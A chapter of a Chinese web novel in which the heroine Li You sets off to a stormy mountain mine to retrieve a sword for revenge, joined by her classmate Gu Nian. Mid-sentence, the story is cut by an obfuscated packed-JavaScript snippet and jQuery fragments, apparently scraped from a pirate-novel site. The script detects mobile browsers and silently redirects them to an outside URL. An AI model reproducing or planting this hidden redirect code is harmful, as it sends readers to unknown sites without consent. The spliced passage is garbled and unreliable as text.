39. 荡佛矿山

作品:《我这个天命之人

    有些话大家心里都知道,但是不能说出来。


    大家自然都知道此去凶多吉少,此等险事谁也不想涉足,权衡之下只能将离忧推出去。


    去取九曲寒剑,杀了琮隐。


    既能报了她的血海深仇,又能成了他们的大义。


    怎么不算两全?


    只是这两全之计下的私心,多少有些难堪。


    而时念又无意间戳破了这层遮羞布,自然便成了罪人。


    一时间,殿内许多责怪的眼神剜在时念身上,对上众人的眼神,她磕磕绊绊地解释:


    “我不是……不是那个意思……”


    “没事。”离忧截了她的话,扬声道:“时忆师姐说得不错,时念,你没必要和我一起去,拖累我。”


    “可是……”时念欲言又止,被时序一个眼神劝退了。


    离忧看向白仲儒,“师父,时候不早了,我先下山了。”


    白仲儒不大自然地摆摆手,道:“你先下去吧。”


    离忧没再停留,转身就走,时念抬脚想要跟上,却被时忆拽住。


    随着殿门一关,那些细碎的牵扯声被隔绝在身后。


    空气中飞扬着些许尘粒,短暂喧嚣后又归于沉寂。


    这一场也算闹得不欢而散。


    离忧走在下山路上,胡乱想着荡佛矿山的事。


    倏地,一声凄厉的嚎叫划破林间寂静的空气。


    离忧仰头看去,只见头顶的树梢立着一只火凤,那凤凰正歪着头打量她。


    离忧也学着它的样子歪头。


    “玄机。”


    那火凤有些雀跃,飞离树枝,在她头顶盘旋。


    “看来是认对了。”离忧道:“这么漂亮的火凤,想认错也难。”


    “你这么漂亮,你的主人司命星君也很漂亮吧。”


    玄机落在她脚边,有半人高的一双翅膀蜷起来,学着她的样子,一只脚接一只脚地往前迈。


    一人一鸟百无聊赖地走在下山路上。


    “你会说话么?”离忧问道。


    玄机:“……”


    “竟然不会说话么。”离忧有些纳闷;“神仙的鸟不会说话,和凡间的宠物一样?”


    玄机似乎是有些恼了,不耐烦地晃了晃尾巴。


    修长的尾翼流光溢彩,仿若流动的火焰,带着灼热的温度,艳丽无双。


    “真是很漂亮啊……”


    离忧一时看呆了眼,无意识感叹道。


    这话听得玄机很是舒服,它抖擞抖擞羽翼,微微昂起头,颇为倨傲。


    “这么臭屁?该不会宠随正主吧……”


    司命不会也是这么臭屁的性子吧……


    玄机跟在离忧身旁跟了一路,离忧也有一搭没一搭地和它扯着闲话。


    ——她单方面说闲话,玄机时不时抖抖尾巴给点反应。


    走到山腰,看着面前层峦叠嶂的景象,离忧一时颇为感叹道:“就送到这吧,也不知道我们还能不能再见面了。”


    玄机有些莫名地转头看了她一眼,似乎不知道她抽什么风,忽然搞得这么伤感。


    离忧轻笑一声,看着它道:“真羡慕你啊,可以做一只自由自在的鸟,不用背负血海深仇,也不用被冠之以天选之人的名号。”


    玄机高傲地睨了她一眼,狭小的鼻孔里吐出一口粗气,颇为不屑地转身飞上了枝头。


    看着那一缕艳红色被隐匿在树叶之间,离忧耸了耸肩,而后结出传送法阵。


    这头,在一家酒吧内。


    昏暗的灯光遮住了身影纠缠的男男女女,酒桌上觥筹交错,推杯换盏间一口浓厚的雾气吐了出来。


    “诶,吸烟去外面啊。”一道娇滴滴的女声响起。


    “又没让你a烟钱,急什么。”顾念笑的漫不经心,而后又狠狠吸了一口指尖的烟。


    “顾少爷,怎么愁容满面的,有新欢了?”女人撑着脖子看向一旁的顾念。


    她穿着一身紧身包臀裙,轻薄的布料包裹着姣好的身材,一头长长的卷发搭在肩头,眼波流转间顾盼生姿。


    见面前的男人久久没有回应,她红唇轻启,道:“怎么?有了新欢,忘了旧爱?”


    顾念扯出一抹讥讽的笑,睨着眼前的女人,不置可否。


    姚玉总喜欢开些这样的玩笑。


    姚玉同样回以一个轻佻的眼神,一张红唇吐出的话刀子似的。


    “看我干嘛?发情了?”


    顾念移开头,淡淡道:“还有事,先走了。”


    闻言,桌上的男男女女纷纷起身。


    “老大,上哪去?”


    “找新欢。”


    扔下这句话,他便大步走出了酒吧。


    傍晚七点了。


    暮色四合,华灯初上。


    街道边点起的一盏盏灯像是这座城市的眼睛一样,目光灼灼地打量每一个过路人,包括他。


    万家灯火给他一股厚重的真实感,将他从缥缈的云端拉入这九重人间。


    看着那一扇扇被点亮的小窗,他吸完了最后一口烟。


    他记忆里也有一扇小窗,窗沿长满了爬山虎,窗台上摆放着一只老旧的花瓶,昏黄的灯火透在厚重的棉麻窗帘上。


    远远看上去就像一盏灯笼。


    一盏他守了一整夜的灯笼。


    他穿过车水马龙,走过那条又长又漆黑的省道,最终停在离忧家楼下。


    晚风穿过巷子,将他身上沾染的酒气吹散了一二。


    “你怎么在这里。”


    离忧的声音从身后穿来。


    他蓦然回头,只见离忧背着书包站在街道的交叉口。


    “怎么才回来?”他有些不悦道。


    “有点事,路上耽误了。”离忧随口糊弄道。


    她下课后就找了个没人的地方布阵去了鹤山,这会儿刚下山,走到家门口就遇到了顾念。


    寂静的空气里卷起一阵风,将顾念身上的酒气送到她鼻尖。


    “你喝酒了?”离忧皱眉看着他。


    “没,只是沾上了。”


    他眼神清明,目光灼灼地盯着她,确实不像喝醉酒的样子。


    “你来干嘛?”离忧问道。


    “来找你。”


    “找我有事?”


    “昨天说了今天来找你。”


    言外之意就是,没事,但要找她。


    离忧眼珠子转了一圈——他没事,但她有。


    她眼神狡黠,一看就知道没什么好事。


    “顾念,带你去个地方去不去?”


    顾念问道:“去哪?”


    “很危险的地方。”


    这句话勾起他的好奇,他一扬眉毛,问道


    “多危险?”


    “九死一生。”


    她神色平静,眼神坦然。


    顾念看着她认真的模样,皱起眉头问道:“非去不可?”


    “嗯,非去不可。”


    “那走吧。”


    “啊?”她诧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714141|171907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    异出声。


    “不是非去不可吗?”


    “但是很危险啊。”


    顾念斜眼看她,仿佛在看一个临阵脱逃的懦夫。


    离忧被他盯地有些不自然,辩驳道:“真的很危险,他们都说很危险。”


    “你信他们说的?”


    “那倒不是。”


    “你不信我?”


    “没有啊!”


    “那走吧。”


    “啊?”离忧愣住。


    顾念看着她,忽而笑了。


    他的笑意十分恣意,“有我在,慌什么。”


    “天堂地狱,我都陪你去。”


    她定定地望着顾念,心中忽然有了一个很低劣的想法——


    反正她们已经有这么多牵扯了,不妨再多点,这个世界上还能多个陪她的人。


    她将眉一挑,道:“别后悔。”


    “废话。”


    离忧迅速结印,在二人脚下幻化出传送阵。


    顾念看着这熟悉的阵法,眉头一动:这是又要去历险了?


    两人身边的景象飞速变化,褪去了身后破旧的街巷和长满爬山虎的墙壁。


    一道浑厚的雷神骤然响起,两人已然来到了荡佛矿山。


    荡佛矿山,神佛荡尽。


    二人面前矗立着一座大山,山上不见半点草木,大片粗犷的怪石裸露在外,山腰地带遍布乌云,云间时不时降下几道闪电,裹着怒号的山风滚滚而下,架势十分吓人。


    “这哪儿?”顾念问道。


    “荡佛矿山。”


    “来干嘛。”


    “拿东西。”


    “东西在哪儿?”


    “山上。”


    “怎么上山?”


    “抓紧我。”


    离忧一面打量着荡佛矿山的景象,一面幻出一把长剑。


    只见她手掌翻飞,长剑虚浮在地上。


    离忧抬脚踩上剑身,转头看向顾念,道:


    “上来。”


    顾念也学着她的样子踩上剑身,站在她身后。


    “抓紧我。”离忧道。


    顾念:……


    僵了片刻,他扶住她的手臂。


    离忧:“别抓我手。”


    顾念:……那应该抓哪儿?


    纠结了一瞬,他捏住了她的书包带子。


    “抓紧了。”


    “好。”他低声应了一句。


    离忧感受到身后传来一阵拉扯,便张开双手开始驭剑。


    二人脚下的长剑先是缓缓腾空,而后带有破空之势朝山顶飞去。


    一阵失重感传来,顾念捏住她书包的手收的更紧了。


    “离忧,你是凡人吗?”


    身后的顾念忽然发问。


    离忧有些莫名,道:“不是凡人,还能是什么?”


    她觉得自己只是一个掌握了一些特殊技能的凡人罢了。


    顾念却不这么认为。


    “你要去拿什么东西。”他问道。


    “拿一把剑。”


    “什么剑?”


    “九幽寒剑。”


    “拿这把剑干嘛?”


    少女额前的发丝被烈烈山风带到到他眼前,犹带着一股淡淡的清香。


    她微眯了眯眼眸,吐出两个冰冷的字。


    “杀人。”


    顾念皱眉,道“杀人犯法的。”


    回应他的是一声轻笑。


    杀人犯法,但杀琮隐这种畜生不犯法。